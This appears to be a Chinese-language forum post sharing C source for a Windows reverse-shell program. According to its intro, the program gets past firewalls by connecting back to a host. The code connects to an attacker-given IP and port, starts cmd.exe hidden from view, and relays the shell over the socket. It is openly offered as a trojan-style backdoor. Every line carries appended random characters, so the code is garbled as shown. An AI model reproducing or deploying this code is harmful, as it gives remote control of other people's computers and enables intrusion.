这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C#w]4 $/
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/* ============================== h~7,`fo
Rebound port in Windows NT 0"g@!gSrQ
By wind,2006/7 YGsS4ia*4i
===============================*/ m/`IGT5J
#include fRm}S>Nibb
#include p[WX'M0f
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#pragma comment(lib,"wsock32.lib") Fpt-V
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void OutputShell(); ,eQ[Fi!!
SOCKET sClient; :ZxLJK9x1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'xFYUU]#T^
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void main(int argc,char **argv) :Au /2
{ )h^NR3N
WSADATA stWsaData; !CjqL~
int nRet; \Z/k;=Sla
SOCKADDR_IN stSaiClient,stSaiServer; ZB5?!.ND
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if(argc != 3) 5A&y]5-Q`
{ V8O.3fo`[`
printf("Useage:\n\rRebound DestIP DestPort\n"); Vj;
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return; d \>2
} <E\V`g
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WSAStartup(MAKEWORD(2,2),&stWsaData); D{'#er
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4%*hGh=
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stSaiClient.sin_family = AF_INET; sygH1|f
stSaiClient.sin_port = htons(0); TD04/ ISHT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @<_`2eW'/R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ H:a|x#"
printf("Bind Socket Failed!\n"); J fcMca
return; T`$KeuL
} v\ZBv zd
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stSaiServer.sin_family = AF_INET; fY2wDD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |ZU#IQVQfn
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S*%iiD)
# nfI%
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7SI)1_%G
{ ke/_k/
printf("Connect Error!"); ew#T8F[
return; GoE#Mxh xo
} Su8'$CFz$.
OutputShell(); f|xLKcOP
} C]`eH*z~8
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void OutputShell() 4FA|[An
{ [V@yRWI
char szBuff[1024]; T{*^_
SECURITY_ATTRIBUTES stSecurityAttributes; 1a9w(X
OSVERSIONINFO stOsversionInfo; MB:n~>ga
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M@?"t_e1
STARTUPINFO stStartupInfo; Q:S\0cI0
char *szShell; =8{*@>CX
PROCESS_INFORMATION stProcessInformation; 8.I9}_
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2/tb6' =
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1&|Dsrj
stSecurityAttributes.lpSecurityDescriptor = 0; 2
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stSecurityAttributes.bInheritHandle = TRUE; \Tq"mw9P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]Sta]}VQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p[YWSjf
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~4s-S3YzaM
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v`{:~q*
stStartupInfo.wShowWindow = SW_HIDE; ;]&-MFv#
stStartupInfo.hStdInput = hReadPipe; =|y|P80w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r#xk`a
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GetVersionEx(&stOsversionInfo); *d
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switch(stOsversionInfo.dwPlatformId) "d?f:x3v^
{ 7b.U!Ju
case 1: `=!p$hg($
szShell = "command.com"; J1-):3A
break; PN\V[#nS
default: \:sk9k
szShell = "cmd.exe"; ?@a$!_
break; {v+a!#{c7
} i=Kvz4h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y<r44a_!
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send(sClient,szMsg,77,0); q[boWW
while(1) ZA.fa0n
{ aBCOGtf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q<}PM
if(lBytesRead) d5, FM
{ DS
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #v qz{R~nM
send(sClient,szBuff,lBytesRead,0); uAb 03Q
} A;%kl`~iyz
else oWcACs3fB
{ yGV{^?yoP
lBytesRead=recv(sClient,szBuff,1024,0); X'2Gi
if(lBytesRead<=0) break; JfKg_&hM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jI#z/a!j:
} P7 8uq
} >H?uuzi
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return; xL&PJ /'
}